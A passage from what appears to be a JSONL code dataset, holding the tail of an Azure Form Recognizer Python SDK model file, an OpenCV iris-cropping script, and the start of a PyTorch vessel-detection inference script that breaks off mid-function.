status. Possible values include: \"notStarted\", \"running\",\n \"failed\", \"succeeded\", \"canceled\".\n :vartype status: str\n :ivar percent_completed: Operation progress (0-100).\n :vartype percent_completed: int\n :ivar created_on: Date and time (UTC) when the operation was created.\n :vartype created_on: ~datetime.datetime\n :ivar last_updated_on: Date and time (UTC) when the operation was last updated.\n :vartype last_updated_on: ~datetime.datetime\n :ivar kind: Type of operation. Possible values include: \"documentModelBuild\",\n \"documentModelCompose\", \"documentModelCopyTo\".\n :vartype kind: str\n :ivar resource_location: URL of the resource targeted by this operation.\n :vartype resource_location: str\n :ivar api_version: API version used to create this operation.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(self, **kwargs):\n self.operation_id = kwargs.get(\"operation_id\", None)\n self.status = kwargs.get(\"status\", None)\n self.percent_completed = kwargs.get(\"percent_completed\", 0)\n self.created_on = kwargs.get(\"created_on\", None)\n self.last_updated_on = kwargs.get(\"last_updated_on\", None)\n self.kind = kwargs.get(\"kind\", None)\n self.resource_location = kwargs.get(\"resource_location\", None)\n self.api_version = kwargs.get(\"api_version\", None)\n self.tags = kwargs.get(\"tags\", None)\n\n def __repr__(self):\n return (\n \"ModelOperationInfo(operation_id={}, status={}, percent_completed={}, created_on={}, last_updated_on={}, \"\n \"kind={}, resource_location={}, api_version={}, tags={})\".format(\n self.operation_id,\n self.status,\n self.percent_completed,\n self.created_on,\n self.last_updated_on,\n self.kind,\n self.resource_location,\n self.api_version,\n self.tags,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of ModelOperationInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"operation_id\": self.operation_id,\n \"status\": self.status,\n \"percent_completed\": self.percent_completed,\n \"created_on\": self.created_on,\n \"last_updated_on\": self.last_updated_on,\n \"kind\": self.kind,\n \"resource_location\": self.resource_location,\n \"api_version\": self.api_version,\n \"tags\": self.tags,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> ModelOperationInfo\n \"\"\"Converts a dict in the shape of a ModelOperationInfo to the model itself.\n\n :param dict data: A dictionary in the shape of ModelOperationInfo.\n :return: ModelOperationInfo\n :rtype: ModelOperationInfo\n \"\"\"\n return cls(\n operation_id=data.get(\"operation_id\", None),\n status=data.get(\"status\", None),\n percent_completed=data.get(\"percent_completed\", None),\n created_on=data.get(\"created_on\", None),\n last_updated_on=data.get(\"last_updated_on\", None),\n kind=data.get(\"kind\", None),\n resource_location=data.get(\"resource_location\", None),\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {}),\n )\n\n @classmethod\n def _from_generated(cls, op):\n return cls(\n operation_id=op.operation_id,\n status=op.status,\n percent_completed=op.percent_completed if op.percent_completed else 0,\n created_on=op.created_date_time,\n last_updated_on=op.last_updated_date_time,\n kind=op.kind,\n resource_location=op.resource_location,\n api_version=op.api_version,\n tags=op.tags if op.tags else {},\n )\n\n\nclass ModelOperation(ModelOperationInfo):\n \"\"\"ModelOperation consists of information about the model operation, including the result or\n error of the operation if it has completed.\n\n Note that operation information only persists for 24 hours. If the operation was successful,\n the model can also be accessed using the :func:`~get_model` or :func:`~list_models` APIs.\n\n :ivar operation_id: Operation ID.\n :vartype operation_id: str\n :ivar status: Operation status. Possible values include: \"notStarted\", \"running\",\n \"failed\", \"succeeded\", \"canceled\".\n :vartype status: str\n :ivar percent_completed: Operation progress (0-100).\n :vartype percent_completed: int\n :ivar created_on: Date and time (UTC) when the operation was created.\n :vartype created_on: ~datetime.datetime\n :ivar last_updated_on: Date and time (UTC) when the operation was last updated.\n :vartype last_updated_on: ~datetime.datetime\n :ivar kind: Type of operation. Possible values include: \"documentModelBuild\",\n \"documentModelCompose\", \"documentModelCopyTo\".\n :vartype kind: str\n :ivar resource_location: URL of the resource targeted by this operation.\n :vartype resource_location: str\n :ivar error: Encountered error, includes the error code, message, and details for why\n the operation failed.\n :vartype error: ~azure.ai.formrecognizer.DocumentAnalysisError\n :ivar result: Operation result upon success. Returns a DocumentModel which contains\n all information about the model including the doc types\n and fields it can analyze from documents.\n :vartype result: ~azure.ai.formrecognizer.DocumentModel\n :ivar api_version: API version used to create this operation.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(self, **kwargs):\n super(ModelOperation, self).__init__(**kwargs)\n self.error = kwargs.get(\"error\", None)\n self.result = kwargs.get(\"result\", None)\n\n def __repr__(self):\n return (\n \"ModelOperation(operation_id={}, status={}, percent_completed={}, created_on={}, last_updated_on={}, \"\n \"kind={}, resource_location={}, result={}, error={}, api_version={}, tags={})\".format(\n self.operation_id,\n self.status,\n self.percent_completed,\n self.created_on,\n self.last_updated_on,\n self.kind,\n self.resource_location,\n repr(self.result),\n repr(self.error),\n self.api_version,\n self.tags,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of ModelOperation.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"operation_id\": self.operation_id,\n \"status\": self.status,\n \"percent_completed\": self.percent_completed,\n \"created_on\": self.created_on,\n \"last_updated_on\": self.last_updated_on,\n \"kind\": self.kind,\n \"resource_location\": self.resource_location,\n \"result\": self.result.to_dict() if self.result else None,\n \"error\": self.error.to_dict() if self.error else None,\n \"api_version\": self.api_version,\n \"tags\": self.tags,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> ModelOperation\n \"\"\"Converts a dict in the shape of a ModelOperation to the model itself.\n\n :param dict data: A dictionary in the shape of ModelOperation.\n :return: ModelOperation\n :rtype: ModelOperation\n \"\"\"\n return cls(\n operation_id=data.get(\"operation_id\", None),\n status=data.get(\"status\", None),\n percent_completed=data.get(\"percent_completed\", None),\n created_on=data.get(\"created_on\", None),\n last_updated_on=data.get(\"last_updated_on\", None),\n kind=data.get(\"kind\", None),\n resource_location=data.get(\"resource_location\", None),\n result=DocumentModel.from_dict(data.get(\"result\")) if data.get(\"result\") else None, # type: ignore\n error=DocumentAnalysisError.from_dict(data.get(\"error\")) if data.get(\"error\") else None, # type: ignore\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {}),\n )\n\n @classmethod\n def _from_generated(cls, op, api_version): # pylint: disable=arguments-differ\n deserialize = _get_deserialize(api_version)\n return cls(\n operation_id=op.operation_id,\n status=op.status,\n percent_completed=op.percent_completed if op.percent_completed else 0,\n created_on=op.created_date_time,\n last_updated_on=op.last_updated_date_time,\n kind=op.kind,\n resource_location=op.resource_location,\n result=DocumentModel._from_generated(deserialize(ModelInfo, op.result))\n if op.result else None,\n error=DocumentAnalysisError._from_generated(deserialize(Error, op.error))\n if op.error else None,\n api_version=op.api_version,\n tags=op.tags if op.tags else {},\n )\n\n\nclass DocumentWord(DocumentContentElement):\n \"\"\"A word object consisting of a contiguous sequence of characters. For non-space delimited languages,\n such as Chinese, Japanese, and Korean, each character is represented as its own word.\n\n :ivar content: Text content of the word.\n :vartype content: str\n :ivar bounding_box: Bounding box of the word.\n :vartype bounding_box: list[Point]\n :ivar span: Location of the word in the reading order concatenated content.\n :vartype span: ~azure.ai.formrecognizer.DocumentSpan\n :ivar confidence: Confidence of correctly extracting the word.\n :vartype confidence: float\n :ivar str kind: For DocumentWord, this is \"word\".\n \"\"\"\n\n def __init__(self, **kwargs):\n super(DocumentWord, self).__init__(kind=\"word\", **kwargs)\n\n @classmethod\n def _from_generated(cls, word):\n return cls(\n content=word.content,\n bounding_box=get_bounding_box(word),\n span=DocumentSpan._from_generated(word.span)\n if word.span\n else None,\n confidence=word.confidence,\n )\n\n def __repr__(self):\n return \"DocumentWord(content={}, bounding_box={}, span={}, confidence={}, kind={})\".format(\n self.content,\n self.bounding_box,\n repr(self.span),\n self.confidence,\n self.kind,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentWord.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"span\": self.span.to_dict() if self.span else None,\n \"confidence\": self.confidence,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentWord\n \"\"\"Converts a dict in the shape of a DocumentWord to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentWord.\n :return: DocumentWord\n :rtype: DocumentWord\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n span=DocumentSpan.from_dict(data.get(\"span\")) if data.get(\"span\") else None, # type: ignore\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass AnalyzeResult(object):\n \"\"\"Document analysis result.\n\n :ivar api_version: API version used to produce this result. Possible values include:\n \"2022-01-30-preview\".\n :vartype api_version: str\n :ivar model_id: Model ID used to produce this result.\n :vartype model_id: str\n :ivar content: Concatenate string representation of all textual and visual elements\n in reading order.\n :vartype content: str\n :ivar languages: Detected languages in the document.\n :vartype languages: list[~azure.ai.formrecognizer.DocumentLanguage]\n :ivar pages: Analyzed pages.\n :vartype pages: list[~azure.ai.formrecognizer.DocumentPage]\n :ivar tables: Extracted tables.\n :vartype tables: list[~azure.ai.formrecognizer.DocumentTable]\n :ivar key_value_pairs: Extracted key-value pairs.\n :vartype key_value_pairs:\n list[~azure.ai.formrecognizer.DocumentKeyValuePair]\n :ivar entities: Extracted entities.\n :vartype entities: list[~azure.ai.formrecognizer.DocumentEntity]\n :ivar styles: Extracted font styles.\n :vartype styles: list[~azure.ai.formrecognizer.DocumentStyle]\n :ivar documents: Extracted documents.\n :vartype documents: list[~azure.ai.formrecognizer.AnalyzedDocument]\n\n .. versionadded:: v2022-01-30-preview\n The *languages* property\n \"\"\"\n\n def __init__(self, **kwargs):\n self.api_version = kwargs.get(\"api_version\", None)\n self.model_id = kwargs.get(\"model_id\", None)\n self.content = kwargs.get(\"content\", None)\n self.languages = kwargs.get(\"languages\", None)\n self.pages = kwargs.get(\"pages\", None)\n self.tables = kwargs.get(\"tables\", None)\n self.key_value_pairs = kwargs.get(\"key_value_pairs\", None)\n self.entities = kwargs.get(\"entities\", None)\n self.styles = kwargs.get(\"styles\", None)\n self.documents = kwargs.get(\"documents\", None)\n\n @classmethod\n def _from_generated(cls, response):\n return cls(\n api_version=response.api_version,\n model_id=response.model_id,\n content=response.content,\n languages=[DocumentLanguage._from_generated(lang) for lang in response.languages]\n if response.languages\n else [],\n pages=[DocumentPage._from_generated(page) for page in response.pages]\n if response.pages\n else [],\n tables=[DocumentTable._from_generated(table) for table in response.tables]\n if response.tables\n else [],\n key_value_pairs=[\n DocumentKeyValuePair._from_generated(kv)\n for kv in response.key_value_pairs\n ]\n if response.key_value_pairs\n else [],\n entities=[\n DocumentEntity._from_generated(entity) for entity in response.entities\n ]\n if response.entities\n else [],\n styles=[DocumentStyle._from_generated(style) for style in response.styles]\n if response.styles\n else [],\n documents=[\n AnalyzedDocument._from_generated(document)\n for document in response.documents\n ]\n if response.documents\n else [],\n )\n\n def __repr__(self):\n return (\n \"AnalyzeResult(api_version={}, model_id={}, content={}, languages={}, pages={}, \"\n \"tables={}, key_value_pairs={}, entities={}, styles={}, documents={})\".format(\n self.api_version,\n self.model_id,\n self.content,\n repr(self.languages),\n repr(self.pages),\n repr(self.tables),\n repr(self.key_value_pairs),\n repr(self.entities),\n repr(self.styles),\n repr(self.documents),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AnalyzeResult.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"api_version\": self.api_version,\n \"model_id\": self.model_id,\n \"content\": self.content,\n \"languages\": [f.to_dict() for f in self.languages]\n if self.languages\n else [],\n \"pages\": [f.to_dict() for f in self.pages]\n if self.pages\n else [],\n \"tables\": [f.to_dict() for f in self.tables]\n if self.tables\n else [],\n \"key_value_pairs\": [f.to_dict() for f in self.key_value_pairs]\n if self.key_value_pairs\n else [],\n \"entities\": [f.to_dict() for f in self.entities]\n if self.entities\n else [],\n \"styles\": [f.to_dict() for f in self.styles]\n if self.styles\n else [],\n \"documents\": [f.to_dict() for f in self.documents]\n if self.documents\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AnalyzeResult\n \"\"\"Converts a dict in the shape of a AnalyzeResult to the model itself.\n\n :param dict data: A dictionary in the shape of AnalyzeResult.\n :return: AnalyzeResult\n :rtype: AnalyzeResult\n \"\"\"\n return cls(\n api_version=data.get(\"api_version\", None),\n model_id=data.get(\"model_id\", None),\n content=data.get(\"content\", None),\n languages=[DocumentLanguage.from_dict(v) for v in data.get(\"languages\")] # type: ignore\n if len(data.get(\"languages\", [])) > 0\n else [],\n pages=[DocumentPage.from_dict(v) for v in data.get(\"pages\")] # type: ignore\n if len(data.get(\"pages\", [])) > 0\n else [],\n tables=[DocumentTable.from_dict(v) for v in data.get(\"tables\")] # type: ignore\n if len(data.get(\"tables\", [])) > 0\n else [],\n key_value_pairs=[DocumentKeyValuePair.from_dict(v) for v in data.get(\"key_value_pairs\")] # type: ignore\n if len(data.get(\"key_value_pairs\", [])) > 0\n else [],\n entities=[DocumentEntity.from_dict(v) for v in data.get(\"entities\")] # type: ignore\n if len(data.get(\"entities\", [])) > 0\n else [],\n styles=[DocumentStyle.from_dict(v) for v in data.get(\"styles\")] # type: ignore\n if len(data.get(\"styles\", [])) > 0\n else [],\n documents=[AnalyzedDocument.from_dict(v) for v in data.get(\"documents\")] # type: ignore\n if len(data.get(\"documents\", [])) > 0\n else [],\n )\n\n\nclass DocumentModelInfo(object):\n \"\"\"Document model information including the model ID,\n its description, and when the model was created.\n\n :ivar str model_id: Unique model id.\n :ivar str description: A description for the model.\n :ivar created_on: Date and time (UTC) when the model was created.\n :vartype created_on: ~datetime.datetime\n :ivar api_version: API version used to create this model.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.model_id = kwargs.get('model_id', None)\n self.description = kwargs.get('description', None)\n self.created_on = kwargs.get('created_on', None)\n self.api_version = kwargs.get(\"api_version\", None)\n self.tags = kwargs.get(\"tags\", None)\n\n def __repr__(self):\n return (\n \"DocumentModelInfo(model_id={}, description={}, created_on={}, api_version={}, tags={})\".format(\n self.model_id,\n self.description,\n self.created_on,\n self.api_version,\n self.tags,\n )\n )\n\n @classmethod\n def _from_generated(cls, model):\n return cls(\n model_id=model.model_id,\n description=model.description,\n created_on=model.created_date_time,\n api_version=model.api_version,\n tags=model.tags,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentModelInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"description\": self.description,\n \"created_on\": self.created_on,\n \"api_version\": self.api_version,\n \"tags\": self.tags if self.tags else {},\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentModelInfo\n \"\"\"Converts a dict in the shape of a DocumentModelInfo to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentModelInfo.\n :return: DocumentModelInfo\n :rtype: DocumentModelInfo\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n description=data.get(\"description\", None),\n created_on=data.get(\"created_on\", None),\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {})\n )\n\n\nclass DocumentModel(DocumentModelInfo):\n \"\"\"Document model information. Includes the doc types that the model can analyze.\n\n :ivar str model_id: Unique model id.\n :ivar str description: A description for the model.\n :ivar created_on: Date and time (UTC) when the model was created.\n :vartype created_on: ~datetime.datetime\n :ivar api_version: API version used to create this model.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n :ivar doc_types: Supported document types, including the fields for each document and their types.\n :vartype doc_types: dict[str, ~azure.ai.formrecognizer.DocTypeInfo]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n super(DocumentModel, self).__init__(**kwargs)\n self.doc_types = kwargs.get('doc_types', None)\n\n def __repr__(self):\n return (\n \"DocumentModel(model_id={}, description={}, created_on={}, api_version={}, tags={}, doc_types={})\".format(\n self.model_id,\n self.description,\n self.created_on,\n self.api_version,\n self.tags,\n repr(self.doc_types),\n )\n )\n\n @classmethod\n def _from_generated(cls, model):\n return cls(\n model_id=model.model_id,\n description=model.description,\n created_on=model.created_date_time,\n api_version=model.api_version,\n tags=model.tags,\n doc_types={k: DocTypeInfo._from_generated(v) for k, v in model.doc_types.items()}\n if model.doc_types else {}\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentModel.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"description\": self.description,\n \"created_on\": self.created_on,\n \"api_version\": self.api_version,\n \"tags\": self.tags if self.tags else {},\n \"doc_types\": {k: v.to_dict() for k, v in self.doc_types.items()} if self.doc_types else {}\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentModel\n \"\"\"Converts a dict in the shape of a DocumentModel to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentModel.\n :return: DocumentModel\n :rtype: DocumentModel\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n description=data.get(\"description\", None),\n created_on=data.get(\"created_on\", None),\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {}),\n doc_types={k: DocTypeInfo.from_dict(v) for k, v in data.get(\"doc_types\").items()} # type: ignore\n if data.get(\"doc_types\")\n else {},\n )\n\n\nclass DocTypeInfo(object):\n \"\"\"DocTypeInfo represents a document type that a model can recognize, including its\n fields and types, and the confidence for those fields.\n\n :ivar str description: A description for the model.\n :ivar build_mode: The build mode used when building the custom model.\n Possible values include: \"template\", \"neural\".\n :vartype build_mode: str\n :ivar field_schema: Description of the document semantic schema.\n :vartype field_schema: dict[str, Any]\n :ivar field_confidence: Estimated confidence for each field.\n :vartype field_confidence: dict[str, float]\n\n .. versionadded:: v2022-01-30-preview\n The *build_mode* property\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.description = kwargs.get('description', None)\n self.build_mode = kwargs.get('build_mode', None)\n self.field_schema = kwargs.get('field_schema', None)\n self.field_confidence = kwargs.get('field_confidence', None)\n\n def __repr__(self):\n return (\n \"DocTypeInfo(description={}, build_mode={}, field_schema={}, field_confidence={})\".format(\n self.description,\n self.build_mode,\n self.field_schema,\n self.field_confidence,\n )\n )\n\n @classmethod\n def _from_generated(cls, doc_type):\n return cls(\n description=doc_type.description,\n build_mode=doc_type.build_mode,\n field_schema={name: field.serialize() for name, field in doc_type.field_schema.items()}\n if doc_type.field_schema else {},\n field_confidence=doc_type.field_confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocTypeInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"description\": self.description,\n \"build_mode\": self.build_mode,\n \"field_schema\": self.field_schema,\n \"field_confidence\": self.field_confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocTypeInfo\n \"\"\"Converts a dict in the shape of a DocTypeInfo to the model itself.\n\n :param dict data: A dictionary in the shape of DocTypeInfo.\n :return: DocTypeInfo\n :rtype: DocTypeInfo\n \"\"\"\n return cls(\n description=data.get(\"description\", None),\n build_mode=data.get(\"build_mode\", None),\n field_schema=data.get(\"field_schema\", {}),\n field_confidence=data.get(\"field_confidence\", {}),\n )\n\n\nclass AccountInfo(object):\n \"\"\"Info regarding models under the Form Recognizer resource.\n\n :ivar int model_count: Number of custom models in the current resource.\n :ivar int model_limit: Maximum number of custom models supported in the current resource.\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.model_count = kwargs.get('model_count', None)\n self.model_limit = kwargs.get('model_limit', None)\n\n def __repr__(self):\n return (\n \"AccountInfo(model_count={}, model_limit={})\".format(\n self.model_count,\n self.model_limit,\n )\n )\n\n @classmethod\n def _from_generated(cls, info):\n return cls(\n model_count=info.count,\n model_limit=info.limit,\n )\n\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AccountInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_count\": self.model_count,\n \"model_limit\": self.model_limit,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AccountInfo\n \"\"\"Converts a dict in the shape of a AccountInfo to the model itself.\n\n :param dict data: A dictionary in the shape of AccountInfo.\n :return: AccountInfo\n :rtype: AccountInfo\n \"\"\"\n return cls(\n model_count=data.get(\"model_count\", None),\n model_limit=data.get(\"model_limit\", None),\n )\n\n\nclass DocumentAnalysisError(object):\n \"\"\"DocumentAnalysisError contains the details of the error returned by the service.\n\n :ivar code: Error code.\n :vartype code: str\n :ivar message: Error message.\n :vartype message: str\n :ivar target: Target of the error.\n :vartype target: str\n :ivar details: List of detailed errors.\n :vartype details: list[~azure.ai.formrecognizer.DocumentAnalysisError]\n :ivar innererror: Detailed error.\n :vartype innererror: ~azure.ai.formrecognizer.DocumentAnalysisInnerError\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n self.code = kwargs.get('code', None)\n self.message = kwargs.get('message', None)\n self.target = kwargs.get('target', None)\n self.details = kwargs.get('details', None)\n self.innererror = kwargs.get('innererror', None)\n\n def __repr__(self):\n return (\n \"DocumentAnalysisError(code={}, message={}, target={}, details={}, innererror={})\".format(\n self.code,\n self.message,\n self.target,\n repr(self.details),\n repr(self.innererror)\n )\n )\n\n @classmethod\n def _from_generated(cls, err):\n return cls(\n code=err.code,\n message=err.message,\n target=err.target,\n details=[DocumentAnalysisError._from_generated(e) for e in err.details] if err.details else [],\n innererror=DocumentAnalysisInnerError._from_generated(err.innererror) if err.innererror else None\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentAnalysisError.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"code\": self.code,\n \"message\": self.message,\n \"target\": self.target,\n \"details\": [detail.to_dict() for detail in self.details] if self.details else [],\n \"innererror\": self.innererror.to_dict() if self.innererror else None\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentAnalysisError\n \"\"\"Converts a dict in the shape of a DocumentAnalysisError to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentAnalysisError.\n :return: DocumentAnalysisError\n :rtype: DocumentAnalysisError\n \"\"\"\n return cls(\n code=data.get(\"code\", None),\n message=data.get(\"message\", None),\n target=data.get(\"target\", None),\n details=[DocumentAnalysisError.from_dict(e) for e in data.get(\"details\")] # type: ignore\n if data.get(\"details\") else [],\n innererror=DocumentAnalysisInnerError.from_dict(data.get(\"innererror\")) # type: ignore\n if data.get(\"innererror\") else None\n )\n\n\nclass DocumentAnalysisInnerError(object):\n \"\"\"Inner error details for the DocumentAnalysisError.\n\n :ivar code: Error code.\n :vartype code: str\n :ivar message: Error message.\n :ivar innererror: Detailed error.\n :vartype innererror: ~azure.ai.formrecognizer.DocumentAnalysisInnerError\n \"\"\"\n\n def __init__(\n self,\n **kwargs\n ):\n\n self.code = kwargs.get('code', None)\n self.message = kwargs.get('message', None)\n self.innererror = kwargs.get('innererror', None)\n\n def __repr__(self):\n return (\n \"DocumentAnalysisInnerError(code={}, message={}, innererror={})\".format(\n self.code,\n self.message,\n repr(self.innererror)\n )\n )\n\n @classmethod\n def _from_generated(cls, ierr):\n return cls(\n code=ierr.code,\n message=ierr.message,\n innererror=DocumentAnalysisInnerError._from_generated(ierr.innererror) if ierr.innererror else None\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentAnalysisInnerError.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"code\": self.code,\n \"message\": self.message,\n \"innererror\": self.innererror.to_dict() if self.innererror else None\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentAnalysisInnerError\n \"\"\"Converts a dict in the shape of a DocumentAnalysisInnerError to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentAnalysisInnerError.\n :return: DocumentAnalysisInnerError\n :rtype: DocumentAnalysisInnerError\n \"\"\"\n return cls(\n code=data.get(\"code\", None),\n message=data.get(\"message\", None),\n innererror=DocumentAnalysisInnerError.from_dict(data.get(\"innererror\")) # type: ignore\n if data.get(\"innererror\") else None\n )\n\n\ndef _in_span(element, spans):\n # type: (DocumentWord, List[DocumentSpan]) -> bool\n for span in spans:\n if element.span.offset >= span.offset and (\n element.span.offset + element.span.length\n ) <= (span.offset + span.length):\n return True\n return False\n", "source": "kazrael2119/azure-sdk-for-python", "license": "MIT"}
+{"text": "import cv2\nimport os\nimport re\nfrom math import hypot\nimport numpy as np\n\n\nCurPath = os.path.dirname(__file__)\n# Path to output txt file:\niris_pos_file = CurPath + '/PrintedImages/IrisPositions.txt'\nimage_dir = CurPath + '/PrintedImages/'\noutput_dir = CurPath + '/PrintedIris/'\n\n# Get all printed images, if they're .jpg\ndef getPrintedImageNames():\n return [os.path.splitext(f)[0] for f in os.listdir(image_dir) if os.path.splitext(f)[1] == \".jpg\"]\n\ndef cropImage(image,centre,radius):\n mask = np.zeros(image.shape, dtype=np.uint8)\n cv2.circle(mask, centre, radius, (255,255,255), -1)\n\n # Bitwise-and for ROI\n ROI = cv2.bitwise_and(image, mask)\n\n # Crop mask and turn background white\n mask = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\n x,y,w,h = cv2.boundingRect(mask)\n result = ROI[y:y+h,x:x+w]\n mask = mask[y:y+h,x:x+w]\n result[mask==0] = (0,0,0)\n\n return result\n\nfor image_path in getPrintedImageNames():\n with open(iris_pos_file,\"r\") as file:\n for line in file:\n if re.search(image_path, line):\n # Get all details from text file\n centre = line.split(' ')[1]\n centre = (int(centre.split(\",\")[0]),int(centre.split(\",\")[1]))\n distance = line.split(' ')[2]\n # Read image and draw the circle on it \n image = cv2.imread(image_dir + image_path + \".jpg\")\n cv2.imwrite(output_dir+image_path+\".jpg\",cropImage(image,centre,int(float(distance))))\n\n\n\n", "source": "Willsparker/FYP_EdgeDetection", "license": "MIT"}
+{"text": "import gc\nimport os\nfrom typing import List\n\nimport numpy as np\nimport tifffile\nimport torch\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\n\nfrom inference.tiling import Tiler, TileSlice\nfrom training.val_dataset import normalize_band\n\n\nclass SliceDataset(Dataset):\n\n def __init__(self, scene_dir: str, tiler: Tiler) -> None:\n super().__init__()\n self.scene_dir = scene_dir\n self.tiler = tiler\n self.slices = tiler.generate_slices()\n self.vv_full = tifffile.imread(os.path.join(self.scene_dir, \"VV_dB.tif\"))\n self.vh_full = tifffile.imread(os.path.join(self.scene_dir, \"VH_dB.tif\"))\n\n def __getitem__(self, index):\n slice = self.slices[index]\n vv = self.tiler.get_crop(self.vv_full, slice)\n vh = self.tiler.get_crop(self.vh_full, slice)\n vv = normalize_band(vv)\n vh = normalize_band(vh)\n img = torch.from_numpy(np.stack([vv, vh], axis=0)).float()\n return img, np.array([slice.row, slice.column, slice.y, slice.x])\n\n def __len__(self):\n return len(self.slices)\n\n\ndef predict_scene_and_return_mm(models: List[nn.Module], dataset_dir, scene_id: str, use_fp16: bool = False,\n rotate=False, output_dir=None):\n vh_full = tifffile.memmap(os.path.join(dataset_dir, scene_id, \"VH_dB.tif\"), mode=\"r\")\n\n height, width = vh_full.shape\n\n tiler = Tiler(height, width, 3584, overlap=704)\n vessel_preds = np.zeros_like(vh_full, dtype=np.uint8)\n fishing_preds = np.zeros_like(vh_full, dtype=np.uint8)\n length_preds = np.zeros_like(vh_full, dtype=np.float16)\n center_preds = np.zeros_like(vh_full, dtype=np.uint8)\n slice_dataset = SliceDataset(os.path.join(dataset_dir, scene_id), tiler)\n slice_loader = DataLoader(\n slice_dataset, batch_size=1, shuffle=False, num_workers=8, pin_memory=False\n )\n for batch, slice_vals in tqdm(slice_loader):\n slice = TileSlice(*slice_vals[0])\n with torch.no_grad():\n batch = batch.cuda()\n with torch.cuda.amp.autocast(enabled=use_fp16):\n outputs = []\n for model in models:\n output = model(batch)\n sigmoid_keys = [\"fishing_mask\", \"vessel_mask\"]\n for k in sigmoid_keys:\n output[k] = torch.sigmoid(output[k])\n if rotate:\n out180 = model(torch.rot90(batch, 2, dims=(2, 3)))\n for key in list(output.keys()):\n val = torch.rot90(out180[key], 2, dims=(2, 3))\n if key in sigmoid_keys:\n val = torch.sigmoid(val)\n output[key] += val\n output[key] *= 0.5\n outputs.append(output)\n output = {}\n for k in outputs[0].keys():\n vs = [o[k][:, :3] for o in outputs]\n output[k] = sum(vs) / len(models)\n vessel_mask = (output[\"vessel_mask\"][0][0] * 255).cpu().numpy().astype(np.uint8)\n fishing_mask = (output[\"fishing_mask\"][0][0] * 255).cpu().numpy().astype(np.uint8)\n center_mask = torch.clamp(output[\"center_mask\"][0][0], 0, 255).cpu().numpy().astype(np.uint8)\n length_mask = output[\"length_mask\"][0][0].cpu().numpy().astype(np.float16)\n tiler.update_crop(vessel_preds, vessel_mask, slice)\n tiler.update_crop(fishing_preds, fishing_mask, slice)\n tiler.update_crop(center_preds, 